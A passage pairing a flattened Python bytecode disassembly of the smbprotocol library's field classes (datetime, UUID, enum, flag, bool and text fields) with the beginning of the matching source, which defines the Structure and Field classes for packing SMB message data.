file "f.py", line 691> LOAD_CONST 'DateTimeField._to_string' MAKE_FUNCTION STORE_NAME _to_string LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_FAST size LOAD_CONST None COMPARE_OP is POP_JUMP_IF_TRUE LOAD_FAST size LOAD_CONST 8 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL InvalidFieldDefinition LOAD_CONST 'DateTimeField type must have a size of 8 not ' LOAD_FAST size FORMAT_VALUE BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR __init__ BUILD_TUPLE LOAD_CONST 'size' LOAD_CONST 8 BUILD_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL datetime LOAD_ATTR timezone LOAD_ATTR utc STORE_FAST utc_tz LOAD_FAST value LOAD_ATTR replace LOAD_FAST value LOAD_ATTR tzinfo POP_JUMP_IF_FALSE LOAD_FAST value LOAD_ATTR tzinfo JUMP_FORWARD to 26 LOAD_FAST utc_tz LOAD_CONST ('tzinfo',) CALL_FUNCTION STORE_FAST utc_dt LOAD_FAST utc_dt LOAD_METHOD astimezone LOAD_FAST utc_tz CALL_METHOD LOAD_GLOBAL datetime LOAD_ATTR datetime LOAD_CONST 1970 LOAD_CONST 1 LOAD_CONST 1 LOAD_CONST 0 LOAD_CONST 0 LOAD_CONST 0 LOAD_FAST utc_tz LOAD_CONST ('tzinfo',) CALL_FUNCTION BINARY_SUBTRACT STORE_FAST td LOAD_FAST td LOAD_ATTR microseconds LOAD_FAST td LOAD_ATTR seconds LOAD_FAST td LOAD_ATTR days LOAD_CONST 24 BINARY_MULTIPLY LOAD_CONST 3600 BINARY_MULTIPLY BINARY_ADD LOAD_CONST 1000000 BINARY_MULTIPLY BINARY_ADD STORE_FAST epoch_time_ms LOAD_FAST self LOAD_ATTR EPOCH_FILETIME LOAD_FAST epoch_time_ms LOAD_CONST 10 BINARY_MULTIPLY BINARY_ADD STORE_FAST ns100 LOAD_FAST self LOAD_ATTR _endian_prefix LOAD_FAST self LOAD_METHOD _get_struct_format LOAD_CONST 8 CALL_METHOD BINARY_ADD STORE_FAST struct_string LOAD_GLOBAL struct LOAD_METHOD pack LOAD_FAST struct_string LOAD_FAST ns100 CALL_METHOD STORE_FAST bytes_value LOAD_FAST bytes_value RETURN_VALUE LOAD_FAST value LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL datetime LOAD_ATTR datetime LOAD_METHOD today CALL_METHOD STORE_FAST datetime_value JUMP_FORWARD to 224 LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL types LOAD_ATTR LambdaType CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST value STORE_FAST datetime_value JUMP_FORWARD to 224 LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL bytes CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR _endian_prefix LOAD_FAST self LOAD_METHOD _get_struct_format LOAD_CONST 8 CALL_METHOD BINARY_ADD STORE_FAST struct_string LOAD_GLOBAL struct LOAD_METHOD unpack LOAD_FAST struct_string LOAD_FAST value CALL_METHOD LOAD_CONST 0 BINARY_SUBSCR STORE_FAST int_value LOAD_FAST self LOAD_METHOD _parse_value LOAD_FAST int_value CALL_METHOD RETURN_VALUE LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL int CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST value LOAD_FAST self LOAD_ATTR EPOCH_FILETIME BINARY_SUBTRACT LOAD_CONST 10 BINARY_FLOOR_DIVIDE STORE_FAST time_microseconds SETUP_EXCEPT to 146 LOAD_GLOBAL datetime LOAD_METHOD datetime LOAD_CONST 1970 LOAD_CONST 1 LOAD_CONST 1 CALL_METHOD LOAD_GLOBAL datetime LOAD_ATTR timedelta LOAD_FAST time_microseconds LOAD_CONST ('microseconds',) CALL_FUNCTION BINARY_ADD STORE_FAST datetime_value POP_BLOCK JUMP_ABSOLUTE DUP_TOP LOAD_GLOBAL OverflowError COMPARE_OP exception match POP_JUMP_IF_FALSE POP_TOP POP_TOP POP_TOP LOAD_GLOBAL datetime LOAD_ATTR datetime LOAD_ATTR max STORE_FAST datetime_value POP_EXCEPT JUMP_ABSOLUTE END_FINALLY JUMP_FORWARD to 224 LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL datetime LOAD_ATTR datetime CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST value STORE_FAST datetime_value JUMP_FORWARD to 224 LOAD_GLOBAL TypeError LOAD_CONST 'Cannot parse value for field ' LOAD_FAST self LOAD_ATTR name FORMAT_VALUE LOAD_CONST ' of type ' LOAD_GLOBAL type LOAD_FAST value CALL_FUNCTION LOAD_ATTR __name__ FORMAT_VALUE LOAD_CONST ' to a datetime' BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_FAST datetime_value RETURN_VALUE LOAD_FAST self LOAD_ATTR size RETURN_VALUE LOAD_FAST self LOAD_METHOD _get_calculated_value LOAD_FAST self LOAD_ATTR value CALL_METHOD STORE_FAST datetime_value LOAD_FAST datetime_value LOAD_METHOD isoformat LOAD_CONST ' ' CALL_METHOD RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'UuidField' STORE_NAME __qualname__ LOAD_CONST (None,) LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7faa75969810, file "f.py", line 697> LOAD_CONST 'UuidField.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object _pack_value at 0x7faa75969c00, file "f.py", line 711> LOAD_CONST 'UuidField._pack_value' MAKE_FUNCTION STORE_NAME _pack_value LOAD_CONST <code object _parse_value at 0x7faa759698a0, file "f.py", line 717> LOAD_CONST 'UuidField._parse_value' MAKE_FUNCTION STORE_NAME _parse_value LOAD_CONST <code object _get_packed_size at 0x7faa75969420, file "f.py", line 736> LOAD_CONST 'UuidField._get_packed_size' MAKE_FUNCTION STORE_NAME _get_packed_size LOAD_CONST <code object _to_string at 0x7faa75969390, file "f.py", line 739> LOAD_CONST 'UuidField._to_string' MAKE_FUNCTION STORE_NAME _to_string LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_FAST size LOAD_CONST None COMPARE_OP is POP_JUMP_IF_TRUE LOAD_FAST size LOAD_CONST 16 COMPARE_OP == POP_JUMP_IF_TRUE LOAD_GLOBAL InvalidFieldDefinition LOAD_CONST 'UuidField type must have a size of 16 not ' LOAD_FAST size FORMAT_VALUE BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR __init__ BUILD_TUPLE LOAD_CONST 'size' LOAD_CONST 16 BUILD_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR little_endian POP_JUMP_IF_FALSE LOAD_FAST value LOAD_ATTR bytes RETURN_VALUE LOAD_FAST value LOAD_ATTR bytes_le RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_FAST value LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL uuid LOAD_ATTR UUID LOAD_CONST b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' LOAD_CONST ('bytes',) CALL_FUNCTION STORE_FAST uuid_value JUMP_FORWARD to 172 LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL bytes CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR little_endian POP_JUMP_IF_FALSE LOAD_GLOBAL uuid LOAD_ATTR UUID LOAD_FAST value LOAD_CONST ('bytes',) CALL_FUNCTION STORE_FAST uuid_value JUMP_FORWARD to 172 LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL bytes CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR little_endian POP_JUMP_IF_TRUE LOAD_GLOBAL uuid LOAD_ATTR UUID LOAD_FAST value LOAD_CONST ('bytes_le',) CALL_FUNCTION STORE_FAST uuid_value JUMP_FORWARD to 172 LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL int CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL uuid LOAD_ATTR UUID LOAD_FAST value LOAD_CONST ('int',) CALL_FUNCTION STORE_FAST uuid_value JUMP_FORWARD to 172 LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL uuid LOAD_ATTR UUID CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST value STORE_FAST uuid_value JUMP_FORWARD to 172 LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL types LOAD_ATTR LambdaType CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST value STORE_FAST uuid_value JUMP_FORWARD to 172 LOAD_GLOBAL TypeError LOAD_CONST 'Cannot parse value for field ' LOAD_FAST self LOAD_ATTR name FORMAT_VALUE LOAD_CONST ' of type ' LOAD_GLOBAL type LOAD_FAST value CALL_FUNCTION LOAD_ATTR __name__ FORMAT_VALUE LOAD_CONST ' to a uuid' BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_FAST uuid_value RETURN_VALUE LOAD_FAST self LOAD_ATTR size RETURN_VALUE LOAD_FAST self LOAD_METHOD _get_calculated_value LOAD_FAST self LOAD_ATTR value CALL_METHOD STORE_FAST uuid_value LOAD_GLOBAL str LOAD_FAST uuid_value CALL_FUNCTION RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'EnumField' STORE_NAME __qualname__ LOAD_CONST (True,) LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7faa75969e40, file "f.py", line 745> LOAD_CONST 'EnumField.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object _parse_value at 0x7faa75969270, file "f.py", line 750> LOAD_CONST 'EnumField._parse_value' MAKE_FUNCTION STORE_NAME _parse_value LOAD_CONST <code object _to_string at 0x7faa75969c90, file "f.py", line 764> LOAD_CONST 'EnumField._to_string' MAKE_FUNCTION STORE_NAME _to_string LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_FAST enum_type LOAD_FAST self STORE_ATTR enum_type LOAD_FAST enum_strict LOAD_FAST self STORE_ATTR enum_strict LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR __init__ BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD _parse_value LOAD_FAST value CALL_METHOD STORE_FAST int_value LOAD_CONST False STORE_FAST valid SETUP_LOOP to 54 LOAD_GLOBAL vars LOAD_FAST self LOAD_ATTR enum_type CALL_FUNCTION LOAD_METHOD values CALL_METHOD GET_ITER FOR_ITER to 52 STORE_FAST flag_value LOAD_FAST int_value LOAD_FAST flag_value COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST True STORE_FAST valid BREAK_LOOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST valid POP_JUMP_IF_TRUE LOAD_FAST int_value LOAD_CONST 0 COMPARE_OP != POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR enum_strict POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'Enum value ' LOAD_FAST int_value FORMAT_VALUE LOAD_CONST ' does not exist in enum type ' LOAD_FAST self LOAD_ATTR enum_type FORMAT_VALUE BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_FAST int_value RETURN_VALUE LOAD_CONST None STORE_FAST enum_name LOAD_FAST self LOAD_METHOD _get_calculated_value LOAD_FAST self LOAD_ATTR value CALL_METHOD STORE_FAST value SETUP_LOOP to 58 LOAD_GLOBAL vars LOAD_FAST self LOAD_ATTR enum_type CALL_FUNCTION LOAD_METHOD items CALL_METHOD GET_ITER FOR_ITER to 56 UNPACK_SEQUENCE STORE_FAST enum STORE_FAST enum_value LOAD_FAST value LOAD_FAST enum_value COMPARE_OP == POP_JUMP_IF_FALSE LOAD_FAST enum STORE_FAST enum_name BREAK_LOOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST enum_name LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST '(' LOAD_FAST value FORMAT_VALUE LOAD_CONST ') UNKNOWN_ENUM' BUILD_STRING RETURN_VALUE LOAD_CONST '(' LOAD_FAST value FORMAT_VALUE LOAD_CONST ') ' LOAD_FAST enum_name FORMAT_VALUE BUILD_STRING RETURN_VALUE LOAD_CONST None RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'FlagField' STORE_NAME __qualname__ LOAD_CONST (True,) LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7faa761eea50, file "f.py", line 778> LOAD_CONST 'FlagField.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object set_flag at 0x7faa761ee780, file "f.py", line 783> LOAD_CONST 'FlagField.set_flag' MAKE_FUNCTION STORE_NAME set_flag LOAD_CONST <code object has_flag at 0x7faa761ee540, file "f.py", line 794> LOAD_CONST 'FlagField.has_flag' MAKE_FUNCTION STORE_NAME has_flag LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object _parse_value at 0x7faa761ee5d0, file "f.py", line 797> LOAD_CONST 'FlagField._parse_value' MAKE_FUNCTION STORE_NAME _parse_value LOAD_CONST <code object _to_string at 0x7faa761eeae0, file "f.py", line 810> LOAD_CONST 'FlagField._to_string' MAKE_FUNCTION STORE_NAME _to_string LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_FAST flag_type LOAD_FAST self STORE_ATTR flag_type LOAD_FAST flag_strict LOAD_FAST self STORE_ATTR flag_strict LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR __init__ BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_CONST False STORE_FAST valid SETUP_LOOP to 42 LOAD_GLOBAL vars LOAD_FAST self LOAD_ATTR flag_type CALL_FUNCTION LOAD_METHOD values CALL_METHOD GET_ITER FOR_ITER to 40 STORE_FAST value LOAD_FAST flag LOAD_FAST value COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST True STORE_FAST valid BREAK_LOOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST valid POP_JUMP_IF_TRUE LOAD_FAST self LOAD_ATTR flag_strict POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'Flag value does not exist in flag type ' LOAD_FAST self LOAD_ATTR flag_type FORMAT_VALUE BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_FAST self LOAD_METHOD set_value LOAD_FAST self LOAD_ATTR value LOAD_FAST flag BINARY_OR CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR value LOAD_FAST flag BINARY_AND LOAD_FAST flag COMPARE_OP == RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD _parse_value LOAD_FAST value CALL_METHOD STORE_FAST int_value LOAD_FAST int_value STORE_FAST current_val SETUP_LOOP to 60 LOAD_GLOBAL vars LOAD_FAST self LOAD_ATTR flag_type CALL_FUNCTION LOAD_METHOD values CALL_METHOD GET_ITER FOR_ITER to 58 STORE_FAST value LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL int CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST current_val LOAD_FAST value UNARY_INVERT INPLACE_AND STORE_FAST current_val JUMP_ABSOLUTE POP_BLOCK LOAD_FAST current_val LOAD_CONST 0 COMPARE_OP != POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR flag_strict POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'Invalid flag for field ' LOAD_FAST self LOAD_ATTR name FORMAT_VALUE LOAD_CONST ' value set ' LOAD_FAST current_val FORMAT_VALUE BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_FAST int_value RETURN_VALUE LOAD_FAST self LOAD_METHOD _get_calculated_value LOAD_FAST self LOAD_ATTR value CALL_METHOD STORE_FAST field_value LOAD_FAST field_value LOAD_CONST 0 COMPARE_OP == POP_JUMP_IF_FALSE LOAD_CONST '0' RETURN_VALUE BUILD_LIST STORE_FAST flags SETUP_LOOP to 86 LOAD_GLOBAL vars LOAD_FAST self LOAD_ATTR flag_type CALL_FUNCTION LOAD_METHOD items CALL_METHOD GET_ITER FOR_ITER to 84 UNPACK_SEQUENCE STORE_FAST flag STORE_FAST value LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL int CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST self LOAD_METHOD has_flag LOAD_FAST value CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST flags LOAD_METHOD append LOAD_FAST flag CALL_METHOD POP_TOP JUMP_ABSOLUTE POP_BLOCK LOAD_FAST flags LOAD_METHOD sort CALL_METHOD POP_TOP LOAD_CONST '(' LOAD_FAST field_value FORMAT_VALUE LOAD_CONST ') ' BUILD_STRING LOAD_CONST ', ' LOAD_METHOD join LOAD_FAST flags CALL_METHOD BINARY_ADD RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'BoolField' STORE_NAME __qualname__ LOAD_CONST (1,) LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7faa761eee40, file "f.py", line 823> LOAD_CONST 'BoolField.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object _pack_value at 0x7faa761ee930, file "f.py", line 836> LOAD_CONST 'BoolField._pack_value' MAKE_FUNCTION STORE_NAME _pack_value LOAD_CONST <code object _parse_value at 0x7faa761eed20, file "f.py", line 839> LOAD_CONST 'BoolField._parse_value' MAKE_FUNCTION STORE_NAME _parse_value LOAD_CONST <code object _get_packed_size at 0x7faa761ee150, file "f.py", line 854> LOAD_CONST 'BoolField._get_packed_size' MAKE_FUNCTION STORE_NAME _get_packed_size LOAD_CONST <code object _to_string at 0x7faa761ee660, file "f.py", line 857> LOAD_CONST 'BoolField._to_string' MAKE_FUNCTION STORE_NAME _to_string LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_FAST size LOAD_CONST 1 COMPARE_OP != POP_JUMP_IF_FALSE LOAD_GLOBAL InvalidFieldDefinition LOAD_CONST 'BoolField size must have a value of 1, not ' LOAD_FAST size FORMAT_VALUE BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR __init__ BUILD_TUPLE LOAD_CONST 'size' LOAD_FAST size BUILD_MAP LOAD_FAST kwargs BUILD_MAP CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST value POP_JUMP_IF_FALSE LOAD_CONST b'\x01' RETURN_VALUE LOAD_CONST b'\x00' RETURN_VALUE LOAD_FAST value LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST False STORE_FAST bool_value JUMP_FORWARD to 98 LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL bool CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST value STORE_FAST bool_value JUMP_FORWARD to 98 LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL bytes CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST value LOAD_CONST b'\x01' COMPARE_OP == STORE_FAST bool_value JUMP_FORWARD to 98 LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL types LOAD_ATTR LambdaType CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST value STORE_FAST bool_value JUMP_FORWARD to 98 LOAD_GLOBAL TypeError LOAD_CONST 'Cannot parse value for field ' LOAD_FAST self LOAD_ATTR name FORMAT_VALUE LOAD_CONST ' of type ' LOAD_GLOBAL type LOAD_FAST value CALL_FUNCTION LOAD_ATTR __name__ FORMAT_VALUE LOAD_CONST ' to a bool' BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_FAST bool_value RETURN_VALUE LOAD_CONST 1 RETURN_VALUE LOAD_GLOBAL str LOAD_FAST self LOAD_METHOD _get_calculated_value LOAD_FAST self LOAD_ATTR value CALL_METHOD CALL_FUNCTION RETURN_VALUE LOAD_NAME __name__ STORE_NAME __module__ LOAD_CONST 'TextField' STORE_NAME __qualname__ LOAD_CONST ('utf-16-le', False) LOAD_CLOSURE __class__ BUILD_TUPLE LOAD_CONST <code object __init__ at 0x7faa761eeed0, file "f.py", line 862> LOAD_CONST 'TextField.__init__' MAKE_FUNCTION STORE_NAME __init__ LOAD_CONST <code object _pack_value at 0x7faa761ee1e0, file "f.py", line 867> LOAD_CONST 'TextField._pack_value' MAKE_FUNCTION STORE_NAME _pack_value LOAD_CONST <code object _parse_value at 0x7faa761ee6f0, file "f.py", line 872> LOAD_CONST 'TextField._parse_value' MAKE_FUNCTION STORE_NAME _parse_value LOAD_CONST <code object _get_packed_size at 0x7faa761ee270, file "f.py", line 888> LOAD_CONST 'TextField._get_packed_size' MAKE_FUNCTION STORE_NAME _get_packed_size LOAD_CONST <code object _to_string at 0x7faa7476bed0, file "f.py", line 896> LOAD_CONST 'TextField._to_string' MAKE_FUNCTION STORE_NAME _to_string LOAD_CONST <code object unpack at 0x7faa7476b540, file "f.py", line 899> LOAD_CONST 'TextField.unpack' MAKE_FUNCTION STORE_NAME unpack LOAD_CLOSURE __class__ DUP_TOP STORE_NAME __classcell__ RETURN_VALUE LOAD_FAST encoding LOAD_FAST self STORE_ATTR encoding LOAD_FAST null_terminated LOAD_FAST self STORE_ATTR null_terminated LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR __init__ BUILD_TUPLE LOAD_FAST kwargs CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST self LOAD_ATTR null_terminated POP_JUMP_IF_FALSE LOAD_FAST value LOAD_CONST '\x00' INPLACE_ADD STORE_FAST value LOAD_GLOBAL to_bytes LOAD_FAST value LOAD_FAST self LOAD_ATTR encoding LOAD_CONST ('encoding',) CALL_FUNCTION RETURN_VALUE LOAD_FAST value LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_CONST '' STORE_FAST text_value JUMP_FORWARD to 104 LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL bytes CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_GLOBAL to_text LOAD_FAST value LOAD_FAST self LOAD_ATTR encoding LOAD_CONST ('encoding',) CALL_FUNCTION STORE_FAST text_value JUMP_FORWARD to 104 LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL str CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST value STORE_FAST text_value JUMP_FORWARD to 104 LOAD_GLOBAL isinstance LOAD_FAST value LOAD_GLOBAL types LOAD_ATTR LambdaType CALL_FUNCTION POP_JUMP_IF_FALSE LOAD_FAST value STORE_FAST text_value JUMP_FORWARD to 104 LOAD_GLOBAL TypeError LOAD_CONST 'Cannot parse value for field ' LOAD_FAST self LOAD_ATTR name FORMAT_VALUE LOAD_CONST ' of type ' LOAD_GLOBAL type LOAD_FAST value CALL_FUNCTION LOAD_ATTR __name__ FORMAT_VALUE LOAD_CONST ' to a text string' BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_FAST text_value RETURN_VALUE LOAD_FAST self LOAD_METHOD _get_calculated_value LOAD_FAST self LOAD_ATTR value CALL_METHOD STORE_FAST text_value LOAD_GLOBAL len LOAD_GLOBAL to_bytes LOAD_FAST text_value LOAD_FAST self LOAD_ATTR encoding LOAD_CONST ('encoding',) CALL_FUNCTION CALL_FUNCTION STORE_FAST size LOAD_FAST self LOAD_ATTR null_terminated POP_JUMP_IF_FALSE LOAD_GLOBAL len LOAD_CONST '\x00' LOAD_METHOD encode LOAD_FAST self LOAD_ATTR encoding CALL_METHOD CALL_FUNCTION STORE_FAST char_len LOAD_FAST size LOAD_FAST char_len INPLACE_ADD STORE_FAST size LOAD_FAST size RETURN_VALUE LOAD_FAST self LOAD_ATTR value RETURN_VALUE LOAD_CONST '\x00' LOAD_METHOD encode LOAD_FAST self LOAD_ATTR encoding CALL_METHOD STORE_FAST null_byte LOAD_FAST self LOAD_ATTR null_terminated POP_JUMP_IF_FALSE LOAD_FAST self LOAD_ATTR size LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL bytes LOAD_FAST data CALL_FUNCTION LOAD_METHOD find LOAD_FAST null_byte CALL_METHOD STORE_FAST null_index LOAD_FAST null_index LOAD_CONST -1 COMPARE_OP != POP_JUMP_IF_FALSE LOAD_GLOBAL int LOAD_GLOBAL math LOAD_METHOD ceil LOAD_FAST null_index LOAD_GLOBAL len LOAD_FAST null_byte CALL_FUNCTION BINARY_TRUE_DIVIDE CALL_METHOD LOAD_GLOBAL len LOAD_FAST null_byte CALL_FUNCTION BINARY_MULTIPLY CALL_FUNCTION STORE_FAST actual_index LOAD_FAST self LOAD_METHOD set_value LOAD_FAST data LOAD_CONST 0 LOAD_FAST actual_index BUILD_SLICE BINARY_SUBSCR CALL_METHOD POP_TOP LOAD_FAST data LOAD_FAST actual_index LOAD_GLOBAL len LOAD_FAST null_byte CALL_FUNCTION BINARY_ADD LOAD_CONST None BUILD_SLICE BINARY_SUBSCR RETURN_VALUE LOAD_FAST self LOAD_METHOD _get_calculated_size LOAD_FAST self LOAD_ATTR size LOAD_FAST data CALL_METHOD STORE_FAST size LOAD_FAST data LOAD_CONST 0 LOAD_FAST size BUILD_SLICE BINARY_SUBSCR STORE_FAST raw_value LOAD_FAST self LOAD_ATTR null_terminated POP_JUMP_IF_FALSE LOAD_GLOBAL bytes LOAD_FAST raw_value CALL_FUNCTION LOAD_METHOD endswith LOAD_FAST null_byte CALL_METHOD POP_JUMP_IF_FALSE LOAD_FAST raw_value LOAD_CONST None LOAD_GLOBAL len LOAD_FAST null_byte CALL_FUNCTION LOAD_CONST -1 BINARY_MULTIPLY BUILD_SLICE BINARY_SUBSCR STORE_FAST raw_value LOAD_FAST self LOAD_METHOD set_value LOAD_FAST raw_value CALL_METHOD POP_TOP LOAD_FAST data LOAD_FAST size LOAD_CONST None BUILD_SLICE BINARY_SUBSCR RETURN_VALUE
import copy import datetime import math import struct import textwrap import types import uuid from abc import ABCMeta, abstractmethod from binascii import hexlify from smbprotocol._text import to_bytes, to_text TAB = " " # Instead of displaying a tab on the print, use 4 spaces class InvalidFieldDefinition(Exception): pass def _bytes_to_hex(bytes, pretty=False, hex_per_line=8): hex = to_text(hexlify(bytes)) if pretty: if hex_per_line == 0: # show hex on 1 line hex_list = [hex] else: idx = hex_per_line * 2 hex_list = list(hex[i : i + idx] for i in range(0, len(hex), idx)) hexes = [] for h in hex_list: hexes.append(" ".join(h[i : i + 2] for i in range(0, len(h), 2)).upper()) hex = "\n".join(hexes) return hex def _indent_lines(string, prefix): def predicate(line): return line.strip() lines = [] for line in string.splitlines(True): lines.append(prefix + line if predicate(line) else line) return "".join(lines) class Structure: def __init__(self): for name, field in self.fields.items(): field.structure = self field.name = name field.set_value(field.default) def __str__(self): struct_name = self.__class__.__name__ raw_hex = _bytes_to_hex(self.pack(), True, hex_per_line=0) field_strings = [] for name, field in self.fields.items(): if isinstance(field, StructureField): field_string = f"{field.name} =\n{field}" else: field_string = f"{field.name} = {field}" field_strings.append(_indent_lines(field_string, TAB)) field_strings.append("") field_strings.append(_indent_lines("Raw Hex:", TAB)) hex_wrapper = textwrap.TextWrapper( width=33, # set to show 8 hex values per line, 33 for 8, 56 for 16 initial_indent=TAB + TAB, subsequent_indent=TAB + TAB, ) field_strings.append(hex_wrapper.fill(raw_hex)) struct_name = to_text(struct_name) field_names = "\n".join([to_text(s) for s in field_strings]) string = f"{struct_name}:\n{field_names}" return string def __setitem__(self, key, value): field = self._get_field(key) field.set_value(value) def __getitem__(self, key): return self._get_field(key) def __delitem__(self, key): self._get_field(key) del self.fields[key] def __len__(self): length = 0 for field in self.fields.values(): length += len(field) return length def pack(self): data = b"" for field in self.fields.values(): field_data = field.pack() data += field_data return data def unpack(self, data): mem = memoryview(data) for key, field in self.fields.items(): mem = field.unpack(mem) return bytes(mem) # remaining data def _get_field(self, key): field = self.fields.get(key, None) if field is None: raise ValueError(f"Structure does not contain field {key}") return field class Field(metaclass=ABCMeta): def __init__(self, little_endian=True, default=None, size=None): """ The base class of a Field object. This contains the framework that a field SHOULD implement in regards to packing and unpacking a value. There should be little need to call this particular object as it is designed to be a base class for *Type classes. :param little_endian: When converting an int/uuid to bytes, the byte order to pack as, False means it will be big endian :param default: The default value of the field, this can be any supported value such as as well as a lambda function or None (default). :param size: The size of the field, this can be an int, lambda function or None (for variable length end field) unless overridden in Class definition. """ field_type = self.__class__.__name__ self.little_endian = little_endian if not ( size is None or isinstance(size, int) or isinstance(size, types.LambdaType) ): raise InvalidFieldDefinition( f"{field_type} size for field must be an int or None for a variable length" ) self.size = size self.default = default self.value = None def __str__(self): return self._to_string() def __len__(self): return self._get_packed_size() @property def _endian_prefix(self): return "<" if self.little_endian else ">" def pack(self): """ Packs the field value into a byte string so it can be sent to the server. :param structure: The message structure class object :return: A byte string of the packed field's value """ 